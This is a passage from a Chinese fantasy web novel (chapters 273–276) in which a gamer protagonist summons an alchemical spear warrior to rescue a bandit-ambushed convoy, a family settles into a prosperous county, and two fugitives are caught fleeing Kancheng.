因这酸辣粉的效果五人都看到过,自然不会有人怀疑这酸辣粉和山神,自然个个又从私库里拿出来一些。 大都是两万两,也有一万两的,总归数目不小。 而杨舒也额外获得了四家共计五十两的赏赐,加上白家的三十两,一共八十两。 第273章 炼金造物 这八十两来得实在是过于轻松。 像这八十两,他无论是放在哪儿,都得老老实实干个十年八年的,现如今不过是这五人心情大好,打发要饭的一样随便给他一口,就已经能让杨舒觉得吃饱得快撑死。 原先的话,就算对方给他这些钱,他用起来也是提心吊胆,毕竟收了人家的钱,日后自然要负起责任来。 但如今可不同,起码目前让杨舒看来,他这八十两收得很是庆幸。 ——反正他家人明日就能跟随着离城的队伍前进,如今这八十两倒是解了路上盘缠不够的困扰。 且家人都带着钱离开了,起码能保障他们最近的日子不用发愁了,就算日后这五人找他发难,他也算是保全了家人了。 杨舒左思右想,觉得很是必要。 等他回到家中,将这八十两交给家人,而后又将事情的大概说了一遍。 如今世道每况愈下,谁也不是什么傻了吧唧的人,既然左右都有坑,还是得选一个坑浅的跳下去。 杨家人便是这样的想法。 将那八十两收好,帮家人收拾了一番必要的东西后,一家人凑在一起吃了一顿饭。 这顿饭很丰盛,主要是日后谁也不清楚还能不能相见,他还能不能活着回去。 两个孩子不知道这事,只知道有好吃的,埋头吃得开心,而其余的人多少有些食不下咽——明明这顿饭做得丰盛无比,以往他们想吃得好点都要费尽心思,如今买来了,倒是没胃口了。 即便有多番不舍,但等到早上时,赶着出城人数最多之际,杨家几人分批次出去,直奔城外约定好的地方等人。 此番来接应的是另一伙镖行。 这镖行本是来接应风仙县内匠人的家属,出发前接到了方大人的吩咐,这会自然将这杨舒一家人都带上。 因杨舒日后还要替自己干活,所以护送是免费的。 杨家人也是头一次出城,好奇,紧张,兴奋,什么情绪都有。 两个孩子虽说兴奋得紧,这会倒是乖乖的将小脑袋放在窗口问大人。 “娘,我们这次去的地方好玩么?” 两个孩子年幼,为了避免两个孩子惹出口舌之祸,家里的大人只是说带他们去投奔远方亲戚。 孩子理解不了投奔,只晓得能路上玩闹了。 两个孩子兴奋的看来看去。 而马车也在逐渐远离他们生活了多年的元城。 清晨的道路还带着薄薄的雾气,今日是个阴天,所以这雾一直都有。 因大雾阻碍了前进的速度,导致一行人的速度都比较慢。 杨家人头一次出城,以前早晓得城外不安稳,如今再看这大雾天人容易丢了视野,看不真切,心里就更忐忑不安了。 再看看驾车的马夫,倒是个个淡定。 这一家人里,属杨老爷子还算是读过书的。 相对来说,见识也稍多一些。 当年便是杨老爷子得了读书的好,这才毅然决然让杨舒也读书。 不过因为家里没什么后台,只能做了个普通的使者。 虽说危险,但使者赚的钱在元城属于相对高一些的了。 杨老爷子看了看马车外,眼看这雾气朦胧的天,心里就一阵紧张。 他是听说过的,这外面流寇不少,就算是有镖师护航,但这恶劣天气倒是容易中了埋伏。 想到镖师见多识广,不需要他提醒,但杨老爷子还是提醒家人别睡着了,注意点外面。 出来时他们一家人就将钱分开放了,每个人都保管着一些,主要也是怕放在一起全丢了。 这会在杨老爷子的提醒下,杨家人都将带着的防身工具塞得更靠近外面。 还检查了一遍自己的鞋子衣服,确保真到了跑路时没什么拖后腿的地方。 两个孩子的衣服也被着重看了一番,鞋子系得严实。 一个时辰内,马车都保持着匀速前进,很是平稳。 外面的雾气似乎变得更浓了,只能看得到两辆相近的马车,再远点都看不到了。 杨老爷子本以为马车会先暂时停留,但不知道是不是镖行对这条路很是熟悉,马车没停,反而还加快了点速度。 杨老爷子提心吊胆的。 外面开始下雨了,电闪雷鸣的,期间掺杂着狂风暴雨,吹得马车都在极速的“砰砰砰”响。 好在他们已经远离了树木区,但这条路也不算好走,只是这里停留更危险,容易被暴雨冲击。 等马车艰难前进时,杨老爷子听到外面传来一声奇怪诡异的声响,再下来便是一阵马蹄声,而后大地似乎都在震颤,听着架势像是有不少骑马的正朝着他们飞奔而来。 镖行的领头人叫伏虎,是个看起来五大三粗的汉子,但实际上,此人头脑颇为灵敏,在镖行内很有名气。 先前他就发现附近不断的有人跟着他们,所以就算冒着危险,他也没让马车停下。 只是没想到对方跟得这么紧。 再看看今日天气,实在是不利于他们动手。 而且听声音,对方这次人很多。 若是让伏虎分析,对方应当是早就不满他们许多——当然,不是不满他们这一支镖队,而是不满仙师旗下的所有镖队。 但凡是仙师旗下的镖队,都会在旗帜上挂一块黄色的“仙”字标记,这标记很明显,所以一般情况下,他们这些流寇不敢对挂了黄色“仙”字标记的镖行商队动手。 伏虎心想不太妙,想必是这些人暗中蛰伏,总算找到了合适的天气——又下雨又大雾的,他们往外扔出火焰的符咒被迫下线了。 因大雾浓厚,视野奇差,就算是投掷别的符咒,也是很困难。 在不得不被对方逼停后,伏虎看了一眼这接近一百来号骑马的流寇,心想这次估计是一场硬战。 队伍的镖师都有修行仙师要求修炼的炼体术,个个能一打三,再加上符咒,应该勉勉强强能冲出去。 伏虎便迅速扫视战场,边考虑何时动手,嘴里还要迷惑对方,试图扰乱拖延时间。 但等伏虎看到对方首领手里居然捏着几张符咒后,这会脸色不由难看。 ——这些人也有符咒! 因伏虎经常在这条线路上跑动,自然早就知晓景旭宫,也知晓这景旭宫恶名远扬,但却因为的确有两把刷子而被采纳成大炎朝的正统道宫。 想来这些人的符咒便是从那景旭宫途径买的。 伏虎心里暗道不妙,原先他们对战这些人,本也就是勉勉强强,如今对方也有符咒,这局势便从勉勉强强变成了弱势。 一时间,混合着雨水和汗水,伏虎倒是难得觉得此事棘手无比。 今夜注定要恶战一场。 杨老爷子早就屏气凝息,此刻透过马车窗户一角,他看到了外面不远处密密麻麻的流寇正将他们围聚起来 老天,这流寇竟然这么多? 杨老爷子瞪大眼睛,心跳得快要飞出去。 马车内的人个个安静如鸡,毕竟面对一百来号流寇的围杀,他们几乎都是头一次出城,第一次遇到这样的事,别说反抗,如今能保持安静都是心理素质不错。 杨老爷子觉得自己悬着的心总算是死了。 昨晚还担心儿子会先死,谁能想到,今早他们一行人倒是要先死了。 一时间,情绪复杂。 而此刻,姜定却收到了一则游戏提醒。 【检测到您旗下工人的跑商被拦截检测到你这支队伍和敌方能力相差较大检测到落败概率高达80%是否选择介入?】 这条提醒弹出来时,姜定还在潜灵山琢磨解锁玻璃配方。 看清楚游戏提醒后,姜定又看了一眼右上角自己越发丰饶的银两,果断选择了介入。 ——开什么玩笑,他好歹看着也是有些小钱,起码足够游戏氪金了,怎么可能会选择不同意啊! 再说了,作为玩家,必须要先看看下一步的选项再说啊,就算这紧急任务需要消耗的东西他没有,那也得先看看自己缺什么东西,日后找机会补足,不然恐怕这类任务还会继续弹出来。 深谙游戏套路的姜定呼出一口,再看着眼前的选项。 【A.你决定真身前往,给这些欺负你手下的人一些教训,只是需要考虑会不会有些跌份?(注:需消耗100精力值,有概率获得“掉价”的负面buff。)】 【B.你决定制作炼金产物,让炼金产物作为你行走的尊者。(检测到您的原材料充足,可以制作炼金产物。)】 【C.你决定动用氪金力量,直接用神秘力量摆平此事。(注:本次需要消耗10000两)】 这次的三个选项,对于姜定来说,倒是不太好区分。 毕竟他如今三种都能实施,只需要考虑选择哪个。 A选项省钱省材料,但确实太掉面了,他也没看过小怪互动,自家boss直接过去的啊。 B选项倒是不错,只不过炼金产物他第一次选择,这玩意要是头一次没炼制成功咋办啊,到时候也不知道还能不能选其余选项,还是说只要失败了可以一直炼制? C选项除了花钱没别的毛病,看似是最稳妥的选择。 可能卡走的都是穷鬼。 姜定开始琢磨这三个选项的真实意图。 最后咬咬牙选择了B选项。 倒不是他不舍得花钱选C,而是觉得摆平一件事如今需要花费一万两,想必这事件日后牵扯到的剧情会很多,直接花钱虽说暂时能过这关,但之后恐怕是无事发生了。 A选项倒是也能引发后续剧情,但这确实掉价了 看来看去,只有B选项是最合理的。 既不会造成跌份情况,还能引发后续剧情。 【您已选择了B选项,请按照流程制作炼金造物。】 第274章 神秘人 【请制作炼金造物。】 姜定按照游戏规定交付对应的物资,发现这炼金造物还挺消耗库存。 当然了,这对于他这样喜欢收集物资,经常爆仓的仓鼠人实在算不上多。 反而还因为消耗了一波库存而欣喜——好啊好啊,再不消耗库存,他的仓库该爆仓了,到时候恐怕又要建仓库了。 现在一制作什么炼金造物,不说别的,对于消耗一波多余物资实在是利好。 姜定美滋滋看游戏继续弹出提醒。 【请选择你要制作的形象。】 下面有一堆图片,姜定看得眼花缭乱,最后选了一个掩着脸持着长枪的炫酷形象。 这挺酷的,虽说不知道男女,但都炼金产物了,还分什么男女。 等到将这炼金造物制作出来后,姜定看着背包内多出来的玩意,点了个使用,然后选择了坐标,让这炼金产物前去替他旗下的商队出气。 他很想点开看看那地到底会发生什么,但很可惜,那处坐标点上去只会问他是否需要传送,除了这提醒外,别的特殊操作一概没有。 姜定心大,没当回事。 毕竟游戏里太多这种滞后剧情了,反正这奇遇他算是触发了,等到之后奇遇时机到了,或者是完成了,肯定会通知他的。 而此刻,伏虎和那帮流寇刚刚开打。 他拖延了一段时间,但架不住对方无心听他们的托词,最后终于拖不住,开始直接动手。 伏虎连着收拾了三个人后,又吼:“保护好马车上的人,突围出一条路!” 先前是被前后夹击,落入埋伏,如今既然对方已经全部出现,他们唯一的活路便是冲出一条血路。 连着杀了十来个人,眼看自家镖行已经开始有人受伤后,伏虎不免开始焦躁。 ——该死的,这些人数量太多了! 不过对面的符咒应该不多,毕竟目前对方还没用过符咒,一直在手里捏得很严实,估计是打算用在他身上。 抓住他能有效打击自家士气,提升对方士气,伏虎很明白这点,于是格外小心。 目前对方全凭借着人海战术,但这已经颇为见效。 除此之外,这群人难缠得很,目前为止,伏虎还没能把对方甩掉。 眼看拖下去情况会越来越差,伏虎手上的刀挥舞个不停,只想带着人赶快冲出去。 同样的,对方也是心惊胆战。 这伏虎太猛了! 一个人就杀死了十来个人,这人如此骁勇善战,怎么会只是个镖行的? 真是见鬼! 过去他们还劫持过官家马车,就算是官兵也比不上今日这些人身体素质高啊。 嘀咕归嘀咕,该打还是要打,在眼看自己这方逐渐获得优势后,众流寇心里一激动。 可算是能啃下这块难啃的硬骨头了,这些日子他们一直私底下看着这群“仙”字标记的商队来来往往,打眼一看,看着车内满满当当去,又空车回去,想来是有不少收益。 只是可惜这“仙”字标记商队凶名在外,他们不敢随便动手。 但一块肥肉在眼前晃久了总会让人想试着吃一口。 这些流寇便是如此。 再加上除了这“仙”字商队外,别的商人看着就没太大油水,一番对比,为了活得更好,这群流寇不得不硬着头皮开始想对付他们的办法。 不得不说人多力量大,很快,流寇们决定在雾雨天气里行动。 今日行动倒是说明他们的想法不差。 为了让行动更顺利,他们还花大价格买了景旭宫的符咒。 这条路子还是流寇内一个消息灵通的人提供的。说符咒是宫内提供的,花费不少。 但实际上,这符咒不过是外门弟子画的而已,景旭宫内门几乎不会画这些低级符咒浪费精力,他们要么选择将精力投放在更为赚钱的高级符咒上,要么选择修炼强悍本身,才懒得赚小钱。 总之为了这次偷袭埋伏,这伙流寇确实算是下了血本。 眼看局势一片大好,这些流寇说不激动都是假的。 ——等到时候他们非要查查这“仙”字商队到底里面装了什么,万一这次能收获一批有价值的东西,对于他们来说也是血赚! 即便是没有,至少他们知道了日后该如何对付对方,总之不会让所谓的“仙”字商队继续嚣张下去。 伏虎就算是铁打的人,如今连着杀了快二十个人,就算是修炼过炼体术,如今也觉得体力逐渐不支,其余人也是如此。 很可惜,因流寇数量太多,他们没能突围出去。 车内的普通人个个祈祷着,希望能有奇迹发生,而在其中的杨老爷子也是冷汗涔涔。 这恐怕今日他们全家人都要死了。 这些流寇眼露凶光,不像是能放过他们这些人。 伏虎心想今日估计要交代在这里时,便听见空中突然传来一阵凌厉的破风声响。 这声音宛若银刀切割开空气,即便是没看到实物,都会让人知晓这玩意所蕴含的杀伤力会多么爆表。 他第一反应还以为敌人中来了一位悍将,心中绝望了几分后,却在抬头后愣在原地。 不仅仅是他,刚才还在争斗的人,如今各个像是被按下了暂停键。 只见空中不知何时,多了一踩着长枪,穿着银盔甲,披着红战袍的蒙面人。 看不到容貌,光从身形上来看分不出男女。 但此人居然能腾空在空中,且看着模样十分轻巧。 众人一时间呆愣。 ——什么玩意,怎么还能飞的? 因此人也分不清是不是人实在诡异,此刻众人均是陷入愣神状态,不知道下一步该作何动作。 不知道是哪个流寇吼了一嗓子,原先愣着的人此刻又开始动起来,准备将伏虎一行人彻底击败。 伏虎边应付敌人,边分神去看那空中之人。 他有种预感,此人应当和他们是一伙的才对。 分神之际,对方的符咒已经死死锁住他,让伏虎顿时动弹不得, 不好! 伏虎心想糟了,一时分心,居然被对方钻了空子! 而流寇则是得意洋洋。 但总归脑袋上有个不明人飘着,他们也很没安全感,此刻只想着赶紧了事。 既已经擒住伏虎,他们只需要吼两嗓子看对方投降不。 流寇首领正清清嗓子,打算开口时,变故发生了。 那悬停不动的人突然消失,下一秒却出现在伏虎身旁,手中长枪直逼伏虎咽喉而去。 伏虎被这变故惊得瞳孔骤缩——这人不是帮手?是敌人?景旭宫的? 眼看居然有此等变故,流寇精神一振。 “兄弟们,冲啊!这是咱们这边的!” 不少流寇为之一振,而后士气凝聚许多。 而原本还抱着一丝机会的车内普通人则是个个面如死灰。 完犊子!刚才还祈祷这是帮手,结果是敌人的帮手?!顿时个个绝望。 看来今日运气太差,确实该死了。 伏虎眼看那锋利的长枪直逼他而来,那点寒芒让他浑身僵硬,动弹不得。 想象着长枪没入身体的剧痛,但令人诧异的是,在距离他脖颈很接近时,这长枪没再继续深入,反而是向上一挑。 长枪的斜面极快的割开数根金丝,当事人伏虎甚至还能看到那数根金丝崩开的场景。 几乎瞬间,他便感觉到先前脖颈处被卡住的窒息感消失了。 电光火石间,伏虎只觉得手脚均是一轻,数根金丝齐刷刷崩开,他居然能动了! 等等——所以,刚才对方给他割开的是偷袭他的束缚符咒? 伏虎瞪大眼睛,嘴巴不自觉张大。 什么没听过这符咒还能被割开啊。 不对,之前他看不到那所谓束缚的金线,但对方割开后,的的确确看到了那金线。 顿时,伏虎便有了个恐怖的猜测。 难道此人,竟然可以将那无形的符咒化作有形? 按照风仙县内的戏本子所说,只有仙师才会有这番能耐啊! 但看眼前这神秘人,不像是仙师,那便是仙师派来的尊者? 人在紧急情况下脑袋反应速度会加快,伏虎正是如此。 其实这神秘人在给他挑开束缚不过一瞬,但他脑内却不受控制涌出诸多想法。 流寇们本还在看戏,期待着这神秘人最好一枪将伏虎爆头,这自然会极大程度打击伏虎一行人的士气,但可惜,没等到伏虎变成一团肉泥,却看到了对方原本僵硬的身体居然行动自如。 扔出去束缚符咒的流寇立马心里一个“咯噔”,他忙检查那符咒,发现符咒身上那奇异的感觉消失了。 ——符咒失效了。 流寇首领脸色煞白。 当初购入束缚咒时,对方说这东西最少都能束缚住敌人半个时辰。 如今仅有几秒,怎么就失效了? 最为重要的是,那神秘人竟然不是去杀伏虎的? 那刚才到底是做了什么让符咒失效的? 不等他思索明白,便看那持枪之人动作堪称诡异的钻入人群。 长枪所过之处,瞬间倒下一片。 这些流寇上一秒还拿着兵器战斗,这一秒个个惊恐的捂住脖颈倒了下去。 血和喷泉一样,湿热,黏腻。 空气中很快便被充斥着刺鼻的血腥气,混合着雨水的土味,变得古怪又深沉。 一种未知的恐惧占据在每个人心头,原先高涨的士气顿时跌至零点。 不说流寇,就连伏虎本人,也被眼前一幕惊得瞪大眼睛。 太快了刚才他甚至没看清楚对方动作,但地上已经死了这么多人了。 想到对方刚才还给他挑开束缚,想来和他们是一伙的。 伏虎连忙喊手下驾马离开此处。 而流寇早就抱头逃窜,但逃跑速度比不过对方的杀戮速度,伏虎刚驾马跑出去一小点距离,结果那一百来号人差不多已经全部死光了。 第275章 武尊者 原先被流寇埋伏围聚的地方,此刻充斥着新鲜的血腥味,混合着泥土的土腥味,将伏虎的思绪搅合得混乱。 他基本上没跑多远,就发现身后寂静无声,等回头去看的时候,那些人全都死了。 虽说伏虎知晓那神秘的持枪人大概率和他们是一伙的,但对方看着很凶残,还不说话,还异常能打,伏虎决定先溜为妙。 回头这一眼,他除了看到满地尸体,另外看见的便是那人正站在雨里,红色的袍子沾染了血迹,长枪头部还在缓慢流淌着血迹。 这血自然是他刚才杀了太多人沾染到的。 连成了红色的串珠,滴滴答答的往下流着。 伏虎赶紧收回打量的眼神,正打算驾车离开时,便听那人说话了。 “这条路日后可正常跑商。” ——原来会说话啊。 伏虎心想。 毕竟这位大能先前不曾发出过一丝一毫动静,他甚至以为对方不会说话来着 声音听不出男女,但带着一点淡淡的威慑感。 想到刚才此人对敌人露出的肃杀之气,伏虎头一次庆幸自己和对方同属仙师旗下,属于“友军”。 既然对方已经开口说话,伏虎当然不能再偷偷溜走。 仔细和尊者道谢后,伏虎和众人总算是上了路。 等距离远了些后,其余的镖师才敢说话。 “这位尊者以前怎么不曾听过?” “刚才你们也看到了吧?那可是以一挑百啊,还打赢了!” “自然看清楚了。身法凌厉,不像是我看到过的任何一种功法,依我看,这位武尊者定是替仙师分忧解难的。” “对了,刚才那武尊者还说这条路日后会很安全,是不是说明日后若是遇到危险时刻,这武尊者会出现救咱们?” 头一次遇到尊者,伏虎犹豫一番,打算回去将今日之事传递给消息驿站。 既然武尊者想让他们传递消息,没什么地方比商队消息驿站更灵通,更适合传播的了。 除了镖师们在低声谈论,车内的普通人也在交头接耳,个个低声谈论着刚才那位。 “我刚才打探到了,那位是仙师旗下的武尊者,是负责跑商之人安危的存在。” “还好我刚才心里头一直念叨着,祈祷仙师能救救咱们,结果还真活着出去了。” “那武尊者应当是跟随在仙师左右的存在,此人实力恐怖如斯,想来那仙人岂不是更是神龙不见尾?” 车内这些人大都是在风仙县工作的匠人家属,以往这些匠人邮寄银两到家时也会附带一封信。 信内写了一些消息,其中自然逃不开仙人。 但先前没亲身经历过这一幕,其实这些人对仙人的存在还是怀疑的。 如今武尊者现身,轻易就将他们解救出来,那番操作,就算是最厉害的习武之人也做不到啊。 他们可是看得清楚! 而一旁的杨家人则是听着同一车厢内其余人的嘀咕。 他们一家子和对方情况不一样,属于“被迫”投奔。 所以自然不知道仙人的存在。 杨家人不敢多问,只是凝神细听,好在是刚经历了生死,大伙都想多说点话缓解刚才的惊吓,这还真让杨家人听清楚了仙人到底为何。 等听到仙人竟然建造出一个安稳美好的桃源之地后,原本还有些忐忑的杨家人,此刻竟然也开始不自觉期盼着跟着一起快些回去。 不过在听到仙人对付那贪官污吏恶棍的做法后,杨家人也久违的升腾起一阵痛快。 好啊!总算是有天道亲自下凡收拾这些恶人了! 杨老爷子边感慨,边和身旁的人聊了几句,心想儿子有些不靠谱啊,这么大的事,居然都不告诉他们!这若是进城后犯了忌讳,他们连怎么死的都不知道! 虽说传闻中的仙人仁义宽和,但这不代表对方不会厌恶。 莫名其妙就被自家父亲惦记到的杨舒连着打了几个喷嚏,猜测可能是在路上的家人们在想他,顿时难免眼眶酸涩。 确实,这一别,不知道日后他还有没有那等好运气可以让他须全须尾的回去和家人相聚了。 想必家人此刻正在伤感吧! 杨家人:不是,只是咱爹在吐槽你不靠谱 在伏虎一行人离开后不久,那神秘的持枪人便转身离开此地。 运气好,距离较远没被追杀的流寇们手抖得几乎要拉不住马匹缰绳,这会面面相觑。 ——得,幸亏他们负责的是查询关注附近情况,不然这次铁定也死了。 他们可是看得一清二楚,这么多人,几乎全是被持枪人一人杀死的! 侥幸存亡的流寇们不敢再继续在这条路混了,立马个个分散逃跑。 这些人确实是被今日吓破了胆,其中不少人琢磨着回去哪怕辛苦一点,也不能再干这一行了,风险太高了! 但这世道不是想干活就有活干。 很快,这些流寇再次被大环境逼得投入新的流寇团队,试图求个活路。 而前来投奔,自然要说清楚为何要投奔,上家是谁。 上家早就死了,他们谈论起来也没什么心理负担,再加上稍微描述当日那持枪人一战,竟然惹得这些流寇首领们各个惊诧。 事实上流寇首领们确实惊得瞪大眼睛。 前段时间那群人说是想到击杀“仙”字商队的法子了,还夸下海口要将那商队的人杀死后带着货物归来。 大话放出去了,人却死了。 如今听这些侥幸活着的人口述当日战况,一时间,这些流寇们确实听得小幅度的打摆子。 ——靠,这群坑爹的玩意,还好他们没去,不然绝对也死了!看来日后必须要远离那“仙”字商队了! 于是这武尊者的存在便被附近的流寇听得清楚,因当日场景过于血腥震撼,这消息很快便不翼而飞,别说黎州明州附近的大小流寇知晓,就连幽州的也知晓了。 如今流寇们见面的第一句话便是八卦那所谓的武尊者,再谈论一番最近被疯传的消息。 “听说这武尊者掌管所有“仙”字商队行商的安全?看来日后这商队必须避开,否则容易惹来杀身之祸啊!” “还好这武尊者只管“仙”字商队,若是别的也管,咱们这行可算是做到头了!” “谁说不是,这年头咱们这行也不好干啊!” 说什么的都有,但总归就一个宗旨,这些流寇是彻底怕了。 而这消息自然最先在风仙县的商队消息驿站迅速传开。 因伏虎一行人是带回此消息的第一人,驿站还专门给他们发了不少银两,算作奖励。 先前因为和流寇战斗,伏虎一行人多多少少也受伤了,于是这笔钱被伏虎做主分了下去,让手下的镖师都能用这点意外之财治好身体便足够了。 至于那日被护送的一行人则是很快进入隔离区,而后在三日后进入扫盲班,从此开始在风仙县的新生活。 方知意说到做到。 杨家人过来后,很快便被官府的人领着住进了一间官府刚租的,还算新的房子,而后又在拿到扫盲证后陆陆续续得到了一份合适的工作。 杨老爷子知道,这可以说是杨舒用命换来的好处,自然对官府给出工作做得很是认真。 虽说自家儿子处于危险中,但即便如此,他们依旧感谢方大人,毕竟如果没有对方,他们现在照样是没有活路。 而且对方说到做到,将他们全家照顾得很好,可以说,他们在这里的生活质量远比当时在黎州元城高得多。 比如在元城,他们可买不到两文钱一斤的细盐,各种各样,物美价廉的吃食,亦或是布料,用的东西。 别说这么平价的好东西,甚至在元城,他们连吃饱饭都是一个相对艰难的目标。 但是在这里,吃饱饭只是最容易达到的简单目标。 不说别的,就说吃最便宜的地瓜,一个月十来文甚至都能吃撑了! 杨氏被安置在地瓜厂内,日薪一百五十文,据杨氏说,厂子内的活计不算累人,待遇福利也好,可以时不时带点内购价的粉条回去。 就连杨老爷子和杨老太太都有了工作。 杨老爷子认得字,写一手好字,负责给官府手写工作档案。 这活计比较缺人。 还好杨老爷子眼神还很好,拿到了日薪两百文的高薪。 毕竟这会大部分读了书,认了字的人还在学堂里,没来得及出来进入存档室工作,处于人才断层阶段。 所以这活计便被分给了杨老爷子。 至于杨老太则是先被送到了技能培训所,在培训科学管理幼儿后,负责照顾陪护幼童。 这项目也是官府的项目,主要是为了减轻百姓的负担,若是家中无人可以照顾幼童的,可以花很少的钱将孩子托养在官府的育儿所内,等夫妻二人下工后再将孩子接回去便是。 杨老太原先就是带孩子的一把好手,如今想不到这活计还能赚钱,自然每日高高兴兴的来育儿所上工。 因此工作相对忙碌,日薪也为150文一日。 至于自家的两个孩子,均是被杨家人送到了学堂内读书。 先前在他们在元城时也发愁读书这事。 杨舒工资不高,但即便如此,若是不想让孩子落个睁眼瞎,白白没了上升途径,只能是全家省吃俭用供养孩子读书。 但是这里不同,一年竟然只需要花费一两银子就可以入学堂读书! 且不单单是男子能去,就连女子也能去! 知晓这事后,杨家人自然立马将两个孩子都送了过去。 一年不过二两,在这里只是拿最低日薪一个人20天的工资。 而在元城,就算是上最普通的学堂,一个孩子一年没个二三十两下不来。 差距如此之大,倒是让杨家人难免感慨。 ——这风仙县真来对了! 于此同时,幽州坎城。 埋伏观察许久的景旭宫风侯总算打探清楚一事,虞姚死了! 第276章 背叛 要说风侯已经在坎城关注本城动向许久。 先前榴娘说的是虞姚被叛军囚禁在城内,但如今看来,他算是发现了,这虞姚早就死了。 当晚,风侯便用符咒能力进入虞家。 因目前情势不稳,虞珠并未将虞姚身死一事暴露,对于虞家的处罚也是逐渐从边缘家族再到核心。 一切很隐秘。 但虞姚身死绝对瞒不过虞家上面的人,毕竟只有靠山是真死了,对方才会肆无忌惮对他们动手。 而榴娘也是猜测到这点,这才早早给风侯传递信件,好让对方赶紧过来。 ——虞姚都死了,她自然要让对方过来救她,她不愿意跟着虞家一起去死! 要说虞姚的死确实让榴娘颇为接受不了。 虞姚不仅仅是她的孩子,那更是她这辈子荣华富贵,安稳荣耀的象征。 如今靠山倒了,上位的人还是虞珠,想到自己多年前将虞珠生母硬生生逼死时的场景,她就免不了心下凄凉。 她得找机会逃走。 别人或许还能活,她是肯定要给虞珠的生母赔命的。 当晚,她倒是等到了风侯。 虽说外面把守的官兵很多,但到底作为景旭宫一方长老,自然有手段能进来。 看到风侯后,榴娘激动不已。 ——她的机会来了。 本她只是打算将风侯骗来,然后找个机会说虞姚已经死了,让老情人将自己带走,倒是没想到还不等她开始表演,风侯竟然已经知晓虞姚死了。 且更糟糕的是,对方知晓了她在写信前已经知晓了虞姚死了的消息。 她纤细的脖颈被掐着,呼吸被阻断,而风侯则是微恼。 她居然骗他过来! 眼看对方即将咽气,风侯松开手,看她狼狈喘息。 榴娘很快便想到托词,眼下哭着将自己的难处说出来。 大概便是虞姚死了,如今她能靠得住的就他一人了。 榴娘在赌,赌对方对她的情感还有几分。 等听到她一番示弱,风侯难免看向她。 不同于记忆中那个娇俏的女子,她如今已经老了,虽说保养得当,但眼尾依旧出现了皱纹。 意识到记忆中的女子和眼前的女子再也对不上号后,风侯难免失落。 倒是并非单纯是美貌不再,而是曾经他对眼前女子的那份爱意早就不知何时,慢慢消散了。 原先支撑着他的不过是两人的孩子,如今虞姚身死,两人之间本就薄弱的联系几乎已经等同于切断。 且风侯心烦无比。 原以为虞姚还活着,那他在宫内的靠山便还有他,但如今虞姚身死,无论是找个替代的,亦或是别的,总归是麻烦不断。 再听到榴娘说她想出去,跟着他时,他更是烦躁。 ——跟着他?知道他现在有多少烂摊子等着处理么? 这都是虞姚这废物搞出来的。 他但凡多坚持一会,等他来了,哪有这么多破事? 榴娘是个聪明人,她很快察觉到了眼前人对自己的感情变化。 既然谈不上感情时,那便谈利益。 于是榴娘做出一副心系他的模样开口:“既然要走了,那便带上府内的银两,不要白白便宜了旁人。” 榴娘很会说话,她暗示这些年府内都是她打理的,若是她和风侯一块回去后,两人可以共同生活,买点产业交给她打理。 果然,等听到那个不凡的数字后,风侯又回心转意了。 ——既然有这么多银两,不若带她一起离开,若是她真的像她所说一样擅于打理家产的话。 一只会下蛋的鸡和一兜子吃完了就没有的鸡蛋,正常人都知晓该选择哪个。 于是,两人在拿到虞府的财产后,随即便用符咒顺利离开。 至于库房里的东西全都被他塞进特别制作的空间袋内,这玩意景旭宫就一只,据说还是上古时期留下来的神器,若不是其余人催动不了这神器,这东西不会落在他手里。 二人没再浪费时间,迅速离开。 除了拿走虞家的财产外,风侯还要做的便是去给那坎城的下一任投递一封信件,表明立场和身份。 毕竟外人不知晓他和虞姚的身份关系。 而他正可以借着此事大做文章,毕竟坎城如今不稳,平白无故得到景旭宫的帮扶,想来也是笔不亏的买卖。 投递信件这事他找了一小童投递,眼看那信件进了县衙内后,他这才离开。 只是俩人有些运气不好。 原先坎城出城很是随意,只是不知为何,今日出城查得很是严格。 眼看没有机会,风侯只能拿隐身符咒。 ——这符咒炼制难度很高,他只剩下两张了,得都用在他和榴娘身上。 两人用了隐身符咒,打算慢慢偷偷度过这城墙检查,本一切顺利,直到他感到脑袋微微一凉,随后他和榴娘二人的身形显露出来,而后被周围瞪大眼睛的官兵们一举拿下。 一切来得太过于突然,风侯简直要气笑了。 隐身符咒不可能出问题,这是他亲手炼制的符咒,且他很精通这符咒炼制,从以前到现在,从未出过岔子。 而榴娘也没好到哪里去,她本觉得马上就要离开此地,自然高兴,只是一个呼吸间便被人按在地上,顿时郁闷不已。 实际上,始作俑者便是姜定。 他只是在地图闲逛时,看到了两个透明色的角色在地图上飘着。 好奇心旺盛的姜定自然点击鼠标想看看这到底是个什么事,结果立马提醒就来了。 【你看破了两份伪装。】 【你进入了支线剧情——阴差阳错。】 姜定:???啊,猝不及防的支线任务! 不知道会不会又让他看一集动画大作? 毕竟上次他觉得会在很久之后才有后话的炼金造物都有了反馈。 ——上次的反馈是一段视频,准确来说,是一段极为炫酷的CG动画。 那持长枪的,看不清楚面容的炼金造物,就那么将一百来号人都杀穿了。 姜定看得瞪大眼睛,最后不得不感慨这游戏的超真实,超细腻CG。 别说,作为主角出场的武尊者起身立在长枪时是真的炫酷! 尤其是在雨里动作时,那股毫不拖泥带水的劲。 虽说这武尊者不分性别,但姜定觉得这哪里关乎性别啊,纯是硬帅啊! 而且整个CG里透露出来的超细腻布料,长枪质感,甚至连作为配角的小角色们都个个刻画得入木三分,好像真实存在一般。 隔着屏幕,姜定似乎都能闻到鲜血和泥土的腥味 总之,毫不夸张的说,这CG几乎和真人完全没差别啊! 到底花了多少钱搞这些炫酷玩意? 特效师,建模师是不是弄完这CG后只留下一块舍利子在人间? 姜定疑惑好奇,他本想录屏保存一下这段,结果很快发现游戏有个专门的保留CG的区域,叫做“CG留档”区。 点开一看,里面正是他玩游戏从开始到现在收集的CG,共同点就是真实度爆表。 本想分享到社交平台上,但游戏弹出提醒,只有在全游戏打通关后,才能将这些CG分享在社交平台上。 姜定顿时无语,又很快哄好了自己。 看来算是一种独特的吸引机制。 玩家们会为了一种强烈的炫耀心态狂做任务,好尽快打通关,而第一个打通关的,就能晒出这些CG成就。 与此同时,他的注意力再次被眼前的支线任务拉了回来。 阴差阳错? 在风侯和榴娘二人被捆得严严实实被押送到虞珠面前时,两人浑身上下的东西都被摸走了。 丢了符咒护体,风侯只能靠着前些年习得的武术等待时机反抗。 虞珠审问一番后,将注意力集中在榴娘身上。 此人就算是化成灰她都认识。 没想到还没来得及动手解决她,倒是先让她找到机会先跑了。 看来不能再拖延了,小心日后再出岔子,到时候她跑了,自己的复仇找谁去? 原先只是觉得不到最佳时候,且当时将虞府守得严严实实,心想不至于会存在这情况才是。 虞珠让手下负责审讯的人过来审讯二人,先问出了两人逃走的手段,而后她便将目光转到那一堆符咒上。 